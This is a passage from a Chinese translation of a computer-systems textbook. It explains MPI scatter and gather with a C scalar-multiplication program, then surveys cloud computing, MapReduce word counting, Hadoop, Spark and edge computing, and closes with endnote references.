MPI_Bcast(&scalar, 1, MPI_INT, 0, MPI_COMM_WORLD);
此调用将从排名为 0 的进程开始,向每个其他进程发送一个整数(`MPI_INT`),其数据来源于`scalar`变量的地址(`MPI_COMM_WORLD`)。所有工作进程(即排名非零的进程)都将接收到广播并将数据存入各自的`scalar`变量的本地副本中,因此,当此调用完成时,每个进程都知道要使用的标量值。
**注意 MPI_BCAST 行为**
每个进程都会执行`MPI_Bcast`,但根据调用进程的排名,行为会有所不同。如果排名与第四个参数匹配,那么调用者将充当发送者的角色。所有其他调用`MPI_Bcast`的进程则作为接收者。
类似地,主节点将数组的总大小广播到每个其他进程。在获知数组的总大小后,每个进程通过将总数组大小除以 MPI 进程的数量来设置`local_size`变量。`local_size`变量表示每个工作进程负责的数组元素数量。例如,如果输入数组包含 40 个元素,而应用程序由八个进程组成,那么每个进程将负责一个五个元素的数组片段(40 / 8 = 5)。为了简化示例,假设进程的数量能够均匀地整除数组的大小:
/* Each process determines how many processes there are. */
MPI_Comm_size(MPI_COMM_WORLD, &process_count);
/* Boss sends the total array size to every process with a broadcast. */
MPI_Bcast(&array_size, 1, MPI_INT, 0, MPI_COMM_WORLD);
/* Determine how many array elements each process will get.
* Assumes the array is evenly divisible by the number of processes. */
local_size = array_size / process_count;
##### 数组分配
现在每个进程都知道了标量值以及它需要负责的元素数量,主节点必须将数组划分成多个部分并将它们分发给工作进程。注意,在这个实现中,主节点(排名 0)也作为一个工作进程参与。例如,对于一个包含 40 个元素的数组和八个进程(排名 0–7),主节点应该保留数组元素 0–4(排名 0),将元素 5–9 发送给排名 1,将元素 10–14 发送给排名 2,依此类推。图 15-5 展示了主节点如何将数组片段分配给每个 MPI 进程。

*图 15-5:一个 40 元素数组在八个 MPI 进程(排名 0–7)之间的分配情况*
一种分发数组片段给每个工作进程的选项是将主节点的`{MPI_Send}`调用与每个工作进程的`{MPI_Recv}`调用结合使用:
if (rank == 0) {
int i;
/* For each worker process, send a unique chunk of the array. */
for (i = 1; i < process_count; i++) {
/* Send local_size ints starting at array index (i * local_size) */
MPI_Send(array + (i * local_size), local_size, MPI_INT, i, 0,
MPI_COMM_WORLD);
}
} else {
MPI_Recv(local_array, local_size, MPI_INT, 0, 0, MPI_COMM_WORLD,
MPI_STATUS_IGNORE);
}
在这段代码中,主节点执行一个循环,该循环为每个工作进程执行一次,在其中它将数组的一部分发送给工作进程。它从`array`的地址开始,偏移量为`(i * local_size)`,以确保每个工作进程接收到数组的独特片段。也就是说,排名为 1 的工作进程将获得从索引 5 开始的数组片段,排名为 2 的工作进程将获得从索引 10 开始的数组片段,依此类推,如图 15-5 所示。
每次调用`MPI_Send`都会向排名为 i 的进程发送`local_size`(5)个整数的数据(20 字节)。最后的`0`参数表示消息标签,这是一个高级功能,程序不需要使用该功能——将其设置为`0`表示所有消息是平等的。
所有工作线程都调用`MPI_Recv`来获取它们的数组片段,并将其存储在`local_array`所指向的内存地址中。它们从进程号为 0 的节点接收`local_size`(5 个)整数的数据(20 字节)。请注意,`MPI_Recv`是一个*阻塞*调用,这意味着调用它的进程会暂停,直到接收到数据。由于`MPI_Recv`调用是阻塞的,因此没有任何工作线程会继续执行,直到老板发送它的数组片段。
##### 并行执行
当一个工作线程获得它的数组片段后,它可以开始将每个数组值与标量相乘。由于每个工作线程获得的是数组的唯一子集,因此它们可以独立执行,进行并行计算,无需进行通信。
##### 聚合结果
最后,在工作线程完成乘法运算后,它们将更新后的数组值发送回老板,老板负责聚合结果。使用`MPI_Send`和`MPI_Recv`,这个过程与我们之前看到的数组分发代码类似,不同的是发送者和接收者的角色交换了:
if (rank == 0) {
int i;
for (i = 1; i < process_count; i++) {
MPI_Recv(array + (i * local_size), local_size, MPI_INT, i, 0,
MPI_COMM_WORLD, MPI_STATUS_IGNORE);
}
} else {
MPI_Send(local_array, local_size, MPI_INT, 0, 0, MPI_COMM_WORLD);
}
回想一下,`MPI_Recv`会*阻塞*或暂停执行,因此`for`循环中的每次调用会导致老板等待,直到它从工作线程*i*那里接收到数组的一个片段。
##### 分发/聚集
尽管前面示例中的`for`循环通过`MPI_Send`和`MPI_Recv`正确地分发了数据,但它们没有简洁地表达出其背后的*意图*。也就是说,它们在 MPI 看来只是一个发送和接收调用的系列,而没有明确表达出跨 MPI 进程分发数组的目标。由于并行应用程序经常需要像这个示例数组一样分发和收集数据,MPI 提供了专门为此目的设计的函数:`MPI_Scatter`和`MPI_Gather`。
这些函数提供了两个主要好处:它们允许将前面示例中的整个代码块用单个 MPI 函数调用来表达,从而简化代码;并且它们向底层 MPI 实现表达了操作的*意图*,MPI 可能会更好地优化它们的性能。
为了替换前面示例中的第一个循环,每个进程可以调用`MPI_Scatter`:
/* Boss scatters chunks of the array evenly among all the processes. */
MPI_Scatter(array, local_size, MPI_INT, local_array, local_size, MPI_INT,
0, MPI_COMM_WORLD);
这个函数会自动将从`array`开始的内存内容分成包含`local_size`个整数的块,分发到`local_array`目标变量中。`0`参数指定了进程号为 0 的进程(即老板)是发送者,因此它读取并分发`array`源数据给其他进程(包括将一块数据发送给它自己)。其他每个进程作为接收者,接收数据到它们的`local_array`目标变量中。
在这一单一调用之后,工作线程可以并行地进行数组的乘法运算。当它们完成后,每个进程都会调用`MPI_Gather`来将结果聚集回老板的`array`变量中:
/* Boss gathers the chunks from all the processes and coalesces the
* results into a final array. */
MPI_Gather(local_array, local_size, MPI_INT, array, local_size, MPI_INT,
0, MPI_COMM_WORLD);
这个调用的行为类似于`MPI_Scatter`的反向操作:这次,`0`参数指定进程 0(即老板)为接收者,因此它更新`array`变量,而工作进程则分别从它们的`local_array`变量中发送`local_size`个整数。
##### MPI 标量乘法的完整代码
下面是使用`MPI_Scatter`和`MPI_Gather`的完整 MPI 标量乘法代码示例:^(8)
include <stdio.h>
include <stdlib.h>
include "mpi.h"
define ARRAY_SIZE (40)
define SCALAR (10)
/* In a real application, the boss process would likely read its input from a
* data file. This example program produces a simple array and informs the
* caller of the size of the array through the array_size pointer parameter.*/
int *build_array(int *array_size) {
int i;
int *result = malloc(ARRAY_SIZE * sizeof(int));
if (result == NULL) {
exit(1);
}
for (i = 0; i < ARRAY_SIZE; i++) {
result[i] = i;
}
*array_size = ARRAY_SIZE;
return result;
}
/* Print the elements of an array, given the array and its size. */
void print_array(int *array, int array_size) {
int i;
for (i = 0; i < array_size; i++) {
printf("%3d ", array[i]);
}
printf("\n\n");
}
/* Multiply each element of an array by a scalar value. */
void scalar_multiply(int *array, int array_size, int scalar) {
int i;
for (i = 0; i < array_size; i++) {
array[i] = array[i] * scalar;
}
}
int main(int argc, char **argv) {
int rank, process_count;
int array_size, local_size;
int scalar;
int *array, *local_array;
/* Initialize MPI */
MPI_Init(&argc, &argv);
/* Determine how many processes there are and which one this is. */
MPI_Comm_size(MPI_COMM_WORLD, &process_count);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
/* Designate rank 0 to be the boss. It sets up the problem by generating
* the initial input array and choosing the scalar to multiply it by. */
if (rank == 0) {
array = build_array(&array_size);
scalar = SCALAR;
printf("Initial array:\n");
print_array(array, array_size);
}
/* Boss sends the scalar value to every process with a broadcast.
* Worker processes receive the scalar value by making this MPI_Bcast
* call. */
MPI_Bcast(&scalar, 1, MPI_INT, 0, MPI_COMM_WORLD);
/* Boss sends the total array size to every process with a broadcast.
* Worker processes receive the size value by making this MPI_Bcast
* call. */
MPI_Bcast(&array_size, 1, MPI_INT, 0, MPI_COMM_WORLD);
/* Determine how many array elements each process will get.
* Assumes the array is evenly divisible by the number of processes. */
local_size = array_size / process_count;
/* Each process allocates space to store its portion of the array. */
local_array = malloc(local_size * sizeof(int));
if (local_array == NULL) {
exit(1);
}
/* Boss scatters chunks of the array evenly among all the processes. */
MPI_Scatter(array, local_size, MPI_INT, local_array, local_size, MPI_INT,
0, MPI_COMM_WORLD);
/* Every process (including boss) performs scalar multiplication over its
* chunk of the array in parallel. */
scalar_multiply(local_array, local_size, scalar);
/* Boss gathers the chunks from all the processes and coalesces the
* results into a final array. */
MPI_Gather(local_array, local_size, MPI_INT, array, local_size, MPI_INT,
0, MPI_COMM_WORLD);
/* Boss prints the final answer. */
if (rank == 0) {
printf("Final array:\n");
print_array(array, array_size);
}
/* Clean up. */
if (rank == 0) {
free(array);
}
free(local_array);
MPI_Finalize();
return 0;
}
在`main`函数中,老板设置了问题并创建了一个数组。如果这是在解决一个实际问题(例如科学计算应用程序),老板可能会从输入文件中读取初始数据。在初始化数组后,老板需要将数组的大小和乘法使用的标量信息发送给所有其他工作进程,因此它将这些变量广播到每个进程。
现在,每个进程都知道数组的大小和进程的数量,它们可以各自进行划分,以确定它们负责乘法运算的数组元素数量。为了简单起见,代码假设数组能够被进程数量均匀地划分。
然后,老板使用`MPI_Scatter`函数将数组的相等部分发送给每个工作进程(包括它自己)。现在,工作进程已经拥有了所需的全部信息,因此它们各自并行地对自己负责的数组部分进行乘法计算。最后,当工作进程完成乘法操作后,老板使用`MPI_Gather`函数收集每个工作进程的数组部分,以报告最终结果。
编译和执行这个程序的过程如下:
$ mpicc -o scalar_multiply_mpi scalar_multiply_mpi.c
$ mpirun -np 8 --hostfile hosts.txt ./scalar_multiply_mpi
Initial array:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
Final array:
0 10 20 30 40 50 60 70 80 90 100 110 120 130 140 150 160 170 180 190
200 210 220 230 240 250 260 270 280 290 300 310 320 330 340 350 360 370 380 390
#### 15.2.6 分布式系统的挑战
通常,在分布式系统中协调多个进程的行为非常困难。如果硬件组件(例如 CPU 或电源)在共享内存系统中发生故障,整个系统将无法操作。然而,在分布式系统中,自治节点可以独立地发生故障。例如,如果一个节点消失而其他节点仍在运行,应用程序必须决定如何继续操作。类似地,互联网络可能发生故障,导致每个进程都认为其他所有进程都已失败。
分布式系统由于缺乏共享硬件,尤其是时钟,也面临着挑战。由于网络传输中的延迟不可预测,自治节点无法轻易确定消息发送的顺序。解决这些挑战(以及其他许多问题)超出了本书的范围。幸运的是,分布式软件设计师们构建了多个框架,简化了分布式应用程序的开发。我们将在下一节中介绍这些框架中的一些。
#### MPI 资源
MPI 非常庞大且复杂,本节内容几乎只是略微涉及。有关 MPI 的更多信息,我们建议:
+ 洛伦斯·利弗莫尔国家实验室的 MPI 教程,作者:Blaise Barney。^(9)
+ CSinParallel 的 MPI 模式。^(10)
### 15.3 向 Exascale 迈进:云计算、大数据与计算的未来
技术的进步使人类能够以前所未有的速度生成数据。科学仪器,如望远镜、生物测序仪和传感器,以低成本产生高保真度的科学数据。随着科学家们努力分析这一“数据洪流”,他们越来越依赖复杂的多节点超级计算机,而这些计算机构成了*高性能计算*(HPC)的基础。
HPC 应用程序通常使用 C、C++或 Fortran 等语言编写,并通过 POSIX 线程、OpenMP 和 MPI 等库启用多线程和消息传递。到目前为止,本书的大部分内容都描述了在 HPC 系统上常用的架构特征、语言和库。那些有兴趣推动科学发展的公司、国家实验室和其他组织通常使用 HPC 系统,并构成了计算科学生态系统的核心。
与此同时,互联网设备的普及和社交媒体的无处不在使人类轻松地生成大量的在线多媒体内容,如网页、图片、视频、推文和社交媒体帖子。据估计,90%的所有在线数据是在过去两年内产生的,社会每秒生成 30TB 的用户数据(即每天 2.5 EB)。这股*用户数据*的洪流为公司和组织提供了大量关于用户习惯、兴趣和行为的信息,并促进了数据丰富的客户画像的构建,从而更好地定制商业产品和服务。为了分析用户数据,公司通常依赖多节点数据中心,这些数据中心共享许多典型超级计算机的硬件架构组件。然而,这些数据中心依赖于专为互联网数据设计的不同软件栈。用于存储和分析大规模互联网数据的计算机系统有时被称为*高端数据分析*(HDA)系统。像亚马逊、谷歌、微软和 Facebook 这样的公司在互联网数据分析中有着重要利益,它们构成了数据分析生态系统的核心。HDA 和数据分析革命大约始于 2010 年,现在已成为云计算研究的主流领域。
图 15-6 突出显示了 HDA 和 HPC 社区在软件使用方面的关键差异。请注意,这两个社区都使用类似的集群硬件,遵循分布式内存模型,其中每个计算节点通常有一个或多个多核处理器,并且通常配备 GPU。集群硬件通常包括*分布式文件系统*,允许用户和应用程序共同访问存储在集群多个节点本地的文件。

*图 15-6:HDA 与 HPC 框架的比较。基于 Jack Dongarra 和 Daniel Reed 的图表。^(11)*
与通常为 HPC 使用而建造和优化的超级计算机不同,HDA 社区依赖于*数据中心*,这些数据中心由大量的通用计算节点组成,通常通过以太网相互连接。在软件层面,数据中心通常采用虚拟机、大型分布式数据库以及支持对互联网数据进行高通量分析的框架。*云*一词指的是 HDA 数据中心中的数据存储和计算能力组件。
本节将简要介绍云计算、一些常用的云计算软件(特别是 MapReduce)以及未来面临的一些挑战。请注意,本节并不打算深入探讨这些概念;我们鼓励感兴趣的读者深入阅读参考资料,以获取更多细节。
#### 15.3.1 云计算
*云计算*是使用或租赁云端进行各种服务的方式。云计算使计算基础设施可以作为一种“公用设施”运行:少数几个中央提供商通过互联网为用户和组织提供(看似无限的)计算能力,用户和组织可以选择使用所需的计算资源,并根据使用量付费。云计算有三个主要支柱:软件即服务(SaaS)、基础设施即服务(IaaS)和平台即服务(PaaS)。^(12)
##### 软件即服务
*软件即服务*(SaaS)是指通过云端直接提供给用户的软件。大多数人甚至在未意识到的情况下就使用了云计算的这一支柱。许多人每天使用的应用程序(例如,网页邮件、社交媒体和视频流)依赖于云基础设施。以经典的网页邮件应用为例,用户能够在任何设备上登录并访问网页邮件,收发邮件,并且似乎永远不会耗尽存储空间。感兴趣的组织也可以“租用”云端邮件服务,为自己的客户和员工提供邮件服务,而无需承担自行运行服务所需的硬件和维护成本。SaaS 支柱中的服务完全由云提供商管理;组织和用户不需要管理任何应用程序、数据、软件或硬件基础设施(除非配置一些设置)。如果他们试图在自己的硬件上设置该服务,就必须管理所有这些。云计算出现之前,想要为用户提供网页邮件服务的组织,需要自己拥有基础设施和专门的 IT 支持人员来维护这些服务。SaaS 提供商的流行例子包括谷歌的 G Suite 和微软的 Office 365。
##### 基础设施即服务
*基础设施即服务*(IaaS)允许个人和组织“租用”计算资源以满足其需求,通常以访问虚拟机的形式,这些虚拟机可以是通用的,也可以是为特定应用预先配置的。一个经典的例子是亚马逊的弹性计算云(EC2)服务,来自亚马逊网络服务(AWS)。EC2 使用户能够创建完全可定制的虚拟机。EC2 中的*弹性*一词指的是用户根据需要增长或缩减计算资源请求的能力,按需付费。例如,一个组织可能会使用 IaaS 提供商来托管其网站,或将自己定制的应用程序系列部署给用户。一些研究实验室和教室使用 IaaS 服务替代实验室机器,在云端运行实验或为学生提供虚拟平台进行学习。在所有这些情况下,目标是消除维护和资本支出,这些支出通常用于维持个人集群或服务器以实现类似的目的。与 SaaS 领域的使用案例不同,IaaS 领域的使用案例要求客户端配置应用程序、数据,并且在某些情况下需要配置虚拟机的操作系统。然而,主机操作系统和硬件基础设施由云提供商设置和管理。流行的 IaaS 提供商包括亚马逊 AWS、谷歌云服务和微软 Azure。
##### 平台即服务
*平台即服务*(PaaS)允许个人和组织开发并部署他们自己的云端网页应用程序,消除了本地配置或维护的需求。大多数 PaaS 提供商使开发者能够使用多种语言编写应用程序,并提供多种 API 供使用。例如,微软 Azure 的服务允许用户在 Visual Studio IDE 中编写网页应用程序,并将应用程序部署到 Azure 进行测试。谷歌 App Engine 使开发者能够在云端使用多种语言构建和测试自定义的移动应用程序。Heroku 和 CloudBees 是另外两个知名的例子。请注意,开发者仅对他们的应用程序和数据拥有控制权;云提供商控制着其余的软件基础设施以及所有底层硬件基础设施。
#### 15.3.2 MapReduce
也许最著名的编程范式是 MapReduce。^(13) 虽然 MapReduce 的起源在于函数式编程中的 Map 和 Reduce 操作,但谷歌是第一个将该概念应用于分析大量网页数据的公司。MapReduce 使谷歌能够比其竞争对手更快地执行网页查询,并使谷歌成为今天的网络服务巨头和互联网巨头。
##### 理解 Map 和 Reduce 操作
MapReduce 模型中的 `map` 和 `reduce` 函数是基于函数式编程中的 Map 和 Reduce 数学运算的。在本节中,我们通过回顾书中早些时候介绍的一些示例,简要讨论这些数学运算是如何工作的。
Map 操作通常将相同的函数应用于集合中的所有元素。熟悉 Python 的读者可能会通过 Python 的列表推导功能最直观地识别这一功能。例如,以下两个代码片段在 Python 中执行标量乘法:
常规标量乘法
'''
The typical way to perform
scalar multiplication
'''
array is an array of numbers
s is an integer
def scalarMultiply(array, s):
for i in range(len(array)):
array[i] = array[i] * s
return array
call the scalarMultiply function:
myArray = [1, 3, 5, 7, 9]
result = scalarMultiply(myArray, 2)
prints [2, 6, 10, 14, 18]
print(result)
使用列表推导进行标量乘法
'''
Equivalent program that
performs scalar multiplication
with list comprehension
'''
multiplies two numbers together
def multiply(num1, num2):
return num1 * num2
array is an array of numbers
s is an integer
def scalarMultiply(array, s):
# using list comprehension
return [multiply(x, s) for x in array]
call the scalarMultiply function:
myArray = [1, 3, 5, 7, 9]
result = scalarMultiply(myArray, 2)
prints [2, 6, 10, 14, 18]
print(result)
列表推导将相同的函数(在这种情况下,将数组元素与标量值 `s` 相乘)应用于 `array` 中的每个元素 `x`。
单个 Reduce 操作会将一组元素合并为一个单一的值,使用某种公共函数。例如,Python 函数`sum`类似于 Reduce 操作,因为它接受一个集合(通常是 Python 列表),并通过加法将所有元素合并在一起。因此,例如,将加法应用于 `scalarMultiply` 函数返回的 `result` 数组中的所有元素,会得到一个合并的和 50。
##### MapReduce 编程模型
MapReduce 的一个关键特点是其简化的编程模型。开发者只需要实现两种类型的函数:`map` 和 `reduce`;底层的 MapReduce 框架会自动完成其余的工作。
程序员编写的 `map` 函数接受一个输入(*key*,*value*)对,并输出一系列中间的(*key*,*value*)对,这些对被写入共享的分布式文件系统,供所有节点使用。通常由 MapReduce 框架定义的合并器随后根据键合并(*key*,*value*)对,以生成(*key*,list(*value*))对,这些对被传递给程序员定义的 `reduce` 函数。`reduce` 函数接收(*key*,list(*value*))对作为输入,并通过某个程序员定义的操作将所有值合并在一起,形成最终的(*key*,*value*),其中输出中的 *value* 对应于归约操作的结果。`reduce` 函数的输出被写入分布式文件系统,并通常输出给用户。
为了说明如何使用 MapReduce 模型来并行化一个程序,我们讨论了单词频率程序。单词频率的目标是确定大型文本语料库中每个单词的频率。
一位 C 程序员可能会为单词频率程序实现以下 `map` 函数:¹³
void map(char *key, char *value){
// key is document name
// value is string containing some words (separated by spaces)
int i;
int numWords = 0; // number of words found: populated by parseWords()
// returns an array of numWords words
char *words[] = parseWords(value, &numWords);
for (i = 0; i < numWords; i++) {
// output (word, 1) key-value intermediate to file system
emit(words[i], "1");
}
}
这个`map`函数接收一个字符串(`key`)作为输入,该字符串对应文件的名称,以及一个单独的字符串(`value`),该字符串包含文件数据的一个部分。然后,函数从输入的`value`中解析单词,并分别发出每个单词(`words[i]`)与字符串值`"1"`。`emit`函数由 MapReduce 框架提供,用于将中间的(*key*,*value*)对写入分布式文件系统。
为了完成单词频率程序,程序员可以实现以下`reduce`函数:
void reduce(char *key, struct Iterator values) {
// key is individual word
// value is of type Iterator (a struct that consists of
// a items array (type char **), and its associated length (type int))
int numWords = values.length(); // get length
char *counts[] = values.items(); // get counts
int i, total = 0;
for (i = 0; i < numWords; i++) {
total += atoi(counts[i]); // sum up all counts
}
char *stringTotal = itoa(total); // convert total to a string
emit(key, stringTotal); // output (word, total) pair to file system
}
这个`reduce`函数接收一个字符串(`key`)作为输入,该字符串对应一个特定的单词,以及一个`Iterator`结构体(同样由 MapReduce 框架提供),该结构体包含一个与该关键字(`key`)相关联的项数组(`items`)以及该数组的长度(`length`)。在单词频率应用中,`items`对应的是一个计数列表。该函数随后从`Iterator`结构体的`length`字段中提取单词数,并从`items`字段中提取计数数组。接着,它循环遍历所有计数,将值聚合到变量`total`中。由于`emit`函数需要`char *`类型的参数,函数会在调用`emit`之前将`total`转换为字符串。
在实现`map`和`reduce`之后,程序员的工作就完成了。MapReduce 框架自动化了其余的工作,包括分割输入、生成并管理运行`map`函数的进程(map 任务)、聚合和排序中间的(*key*,*value*)对、生成并管理运行`reduce`函数的独立进程(reduce 任务),以及生成最终的输出文件。
为了简化,图 15-7 中我们展示了 MapReduce 如何并行化流行歌曲 Jonathan Coulton 的《Code Monkey》开头几行的处理:*code monkey get up get coffee, code monkey go to job*。

*图 15-7:使用 MapReduce 框架并行化《Code Monkey》歌曲开头的几行*
图 15-7 概述了这一过程。在执行之前,主节点首先将输入分割成*M*个部分,其中*M*对应于 map 任务的数量。在图 15-7 中,*M* = 3,输入文件(`coulton.txt`)被分割成三部分。在 map 阶段,主节点将 map 任务分配给一个或多个工作节点,每个 map 任务独立并行地执行。例如,第一个 map 任务将片段*code monkey get up*解析为单独的单词,并发出以下四个(*key*,*value*)对:(`code`,`1`),(`monkey`,`1`),(`get`,`1`),(`up`,`1`)。每个 map 任务然后将其中间值发出到分布式文件系统,这些数据会占用每个节点的一定存储空间。
在 reduce 阶段开始之前,框架将中间的 (*key*,*value*) 对聚合并合并为 (*key*,list(*value*)) 对。例如,在图 15-7 中,(*key*,*value*) 对 (`get`,`1`) 由两个不同的 map 任务生成。MapReduce 框架将这两个独立的 (*key*,*value*) 对聚合为单一的 (*key*,list(*value*)) 对 (`get`,`[1,1]`)。这些聚合的中间对被写入到分布式文件系统的磁盘上。
接下来,MapReduce 框架指示主节点生成 *R* 个 reduce 任务。在图 15-7 中,*R* = 8。框架随后将任务分配给工作节点。每个 reduce 任务再次独立且并行执行。在本示例的 reduce 阶段,(*key*,list(*value*)) 对 (`get`,`[1,1]`) 被简化为 (*key*,*value*) 对 (`get`,`2`)。每个工作节点将其一组 reduce 任务的输出附加到最终文件中,任务完成后,用户可以访问该文件。
##### 容错性
数据中心通常包含成千上万个节点。因此,故障率较高;例如,如果一个数据中心中的单个节点发生硬件故障的概率是 2%,那么在一个 1000 节点的数据中心中,至少有 99.99% 的概率会有某个节点发生故障。因此,专为数据中心编写的软件必须具备 *容错性*,即它必须能够在硬件故障的情况下继续运行(否则就会优雅地失败)。
MapReduce 在设计时就考虑了容错性。对于每次 MapReduce 执行,系统会有一个主节点和可能成千上万的工作节点。因此,工作节点发生故障的几率较高。为了解决这个问题,主节点会定期 ping 各个工作节点。如果主节点没有收到某个工作节点的响应,它会将该工作节点分配的工作负载重新分配给其他节点并重新执行任务。¹³如果主节点发生故障(由于它只有一个节点,因此发生故障的几率较低),MapReduce 作业将会中止,并且必须在另一个节点上重新运行。请注意,有时工作节点可能因为任务负载过重而无法响应主节点的 ping,这时 MapReduce 会使用相同的 ping 和工作负载重新分配策略,以限制慢节点(或滞后节点)对系统的影响。
##### Hadoop 和 Apache Spark
MapReduce 的发展引起了计算界的轰动。然而,Google 对 MapReduce 的实现是闭源的。因此,Yahoo! 的工程师们开发了 Hadoop,^(14) 这是一个开源的 MapReduce 实现,后来被 Apache 基金会采纳。Hadoop 项目由一组 Apache Hadoop 工具组成,包括 Hadoop 分布式文件系统(HDFS,一个开源的 Google 文件系统替代品)和 HBase(模仿 Google 的 BigTable)。
Hadoop 有几个关键的限制。首先,将多个 MapReduce 任务链接成一个更大的工作流是困难的。其次,向 HDFS 写入中间数据会成为瓶颈,特别是对于小型任务(小于一吉字节)。Apache Spark^(15) 的设计旨在解决这些问题,等等。由于其优化和能够在内存中大幅处理中间数据的能力,Apache Spark 在一些应用上比 Hadoop 快多达 100 倍^(16)。
#### 15.3.3 展望未来:机会与挑战
尽管互联网数据分析领域有所创新,人类产生的数据量仍在持续增长。大多数新数据是在所谓的*边缘环境*中产生的,或者说是靠近传感器和其他数据生成仪器,而这些设备的定义是位于与商业云服务提供商和高性能计算(HPC)系统相对端的网络另一端。传统上,科学家和从业者会收集数据并使用本地集群进行分析,或者将其移到超级计算机或数据中心进行分析。随着传感器技术的进步,数据洪流日益加剧,这种“集中式”计算模式不再是一种可行的策略。
这种爆炸性增长的一个原因是互联网连接的小型设备的激增,这些设备包含各种传感器。这些*物联网*(IoT)设备导致了在边缘环境中生成大量多样的数据集。将大数据集从边缘传输到云端是困难的,因为更大的数据集需要更多的时间和能量进行传输。为了减轻所谓“大数据”的物流问题,研究界已开始创建技术,在每个边缘与云之间的传输点积极地对数据进行汇总^(17)。计算研究界对于创建能够在边缘环境中处理、存储和汇总数据的统一平台基础设施非常感兴趣;这一领域被称为*边缘*(或*雾计算*)计算。边缘计算颠覆了大数据的传统分析模型;分析不再发生在超级计算机或数据中心(“最后一公里”),而是在数据生产源头(“第一公里”)进行。
除了数据传输物流,分析大数据的另一个横向问题是电力管理。像超级计算机和数据中心这样的大型集中式资源需要大量的能源;现代超级计算机需要几兆瓦(百万瓦特)来供电和冷却。在超级计算机界有一句老话:“一兆瓦等于一百万美元”;换句话说,维持一兆瓦的电力需求每年大约需要花费 100 万美元。^(18) 在边缘环境中进行本地数据处理有助于缓解大数据集传输的物流问题,但此类环境中的计算基础设施同样必须尽可能地节省能源。同时,提高大型超级计算机和数据中心的能效至关重要。
另外,还有兴趣研究如何融合高性能计算(HPC)和云计算生态系统,以创建一套通用的框架、基础设施和工具,用于大规模数据分析。近年来,许多科学家已经使用云计算领域研究人员开发的技术和工具来分析传统的 HPC 数据集,反之亦然。融合这两个软件生态系统将促进跨领域的研究交流,并促使开发一个统一的系统,让这两个社区能够应对即将到来的数据洪流,并可能共享资源。大数据千万亿次计算(BDEC)工作组^(19)认为,与其将 HPC 和云计算视为两个截然不同的范式,不如将云计算视为科学计算的“数字赋能”阶段,其中数据源越来越多地通过互联网生成。¹⁷ 此外,要完全整合 HPC 和云计算的软件及研究社区,文化、培训和工具的融合是必要的。BDEC 还建议了一种模型,其中超级计算机和数据中心是一个庞大的计算资源网络中的“节点”,所有节点协同工作,共同应对来自多个来源的数据洪流。每个节点都积极地总结流向它的数据,只有在必要时,才将数据释放到更大的计算资源节点。
随着云计算和高性能计算(HPC)生态系统寻求统一,并为应对日益增长的数据挑战做好准备,计算机系统的未来充满了激动人心的可能性。像人工智能和量子计算这样的新兴领域正在催生出新的*特定领域架构*(DSA)和*应用专用集成电路*(ASIC),这些新架构将比以往更加高效地处理定制工作流(例如,参见 TPU^(20))。此外,长期以来被社区忽视的这些架构的安全性,在它们分析的数据变得越来越重要的情况下,也将变得至关重要。新架构还将催生出新的编程语言,甚至可能需要新的操作系统来管理其各种接口。为了更好地了解计算机架构的未来,我们鼓励读者阅读 2017 年 ACM 图灵奖得主和计算机架构巨头 John Hennessy 和 David Patterson 撰写的文章。^(21)
### 注释
1. Sparsh Mittal, “面向架构和管理非对称多核处理器的技术调查”,*ACM 计算机调查* 48(3),2016 年 2 月。
2. “FPGA 和可重编程 HPC 的道路”,发表于《HPC》杂志,2019 年 7 月,*[`insidehpc.com/2019/07/fpgas-and-the-road-to-reprogrammable-hpc/`](https://insidehpc.com/2019/07/fpgas-and-the-road-to-reprogrammable-hpc/)*
3. “GPU 编程”,来自 CSinParallel: *[`csinparallel.org/csinparallel/modules/gpu_programming.html`](https://csinparallel.org/csinparallel/modules/gpu_programming.html)*;CSinParallel 还有其他 GPU 编程模块: *[`csinparallel.org`](https://csinparallel.org)*
4. *[`diveintosystems.org/book/C15-Parallel/_attachments/scalar_multiply_cuda.cu`](https://diveintosystems.org/book/C15-Parallel/_attachments/scalar_multiply_cuda.cu)*
5. *[`diveintosystems.org/book/C15-Parallel/_attachments/hello_world_mpi.c`](https://diveintosystems.org/book/C15-Parallel/_attachments/hello_world_mpi.c)*
6. *[`www.open-mpi.org/`](https://www.open-mpi.org/)*
7. *[`www.mpich.org/`](https://www.mpich.org/)*
8. 可通过 *[`diveintosystems.org/book/C15-Parallel/_attachments/scalar_multiply_mpi.c`](https://diveintosystems.org/book/C15-Parallel/_attachments/scalar_multiply_mpi.c)* 获得
9. *[`hpc-tutorials.llnl.gov/mpi/`](https://hpc-tutorials.llnl.gov/mpi/)*
10. *[`selkie.macalester.edu/csinparallel/modules/Patternlets/build/html/MessagePassing/MPI_Patternlets.html`](http://selkie.macalester.edu/csinparallel/modules/Patternlets/build/html/MessagePassing/MPI_Patternlets.html)*
11. D. A. Reed 和 J. Dongarra,“超大规模计算与大数据,”*《ACM 通讯》* 58(7), 56–68, 2015 年。
12. M. Armbrust 等人,“云计算展望,”*《ACM 通讯》* 53(4), 50–58, 2010 年。
13. Jeffrey Dean 和 Sanjay Ghemawat,“MapReduce:大规模集群上的简化数据处理,”*《第六届操作系统设计与实现会议论文集》*,第 6 卷,USENIX,2004 年。
14. *[`hadoop.apache.org/`](https://hadoop.apache.org/)*
15. *[`spark.apache.org/`](https://spark.apache.org/)*
16. DataBricks,“Apache Spark,”*[`databricks.com/spark/about`](https://databricks.com/spark/about)*
17. M. Asch 等人,“大数据与极大规模计算:融合路径——面向科学研究未来软件与数据生态系统的构建战略,”*《国际高性能计算应用期刊》* 32(4), 435–479, 2018 年。
18. M. Halper,“超级计算的超级能源需求及其应对措施,”CACM 新闻,*[`cacm.acm.org/news/192296-supercomputings-super-energy-needs-and-what-to-do-about-them/fulltext`](https://cacm.acm.org/news/192296-supercomputings-super-energy-needs-and-what-to-do-about-them/fulltext)*
19. *[`www.exascale.org/bdec/`](https://www.exascale.org/bdec/)*
20. N. P. Jouppi 等人,“数据中心内张量处理单元的性能分析,”*《第 44 届国际计算机架构年会论文集》*,ACM,2017 年。
21. J. Hennessy 和 D. Patterson,“计算机架构的新黄金时代,”*《ACM 通讯》* 62(2), 48–60, 2019 年。


浙公网安备 33010602011771号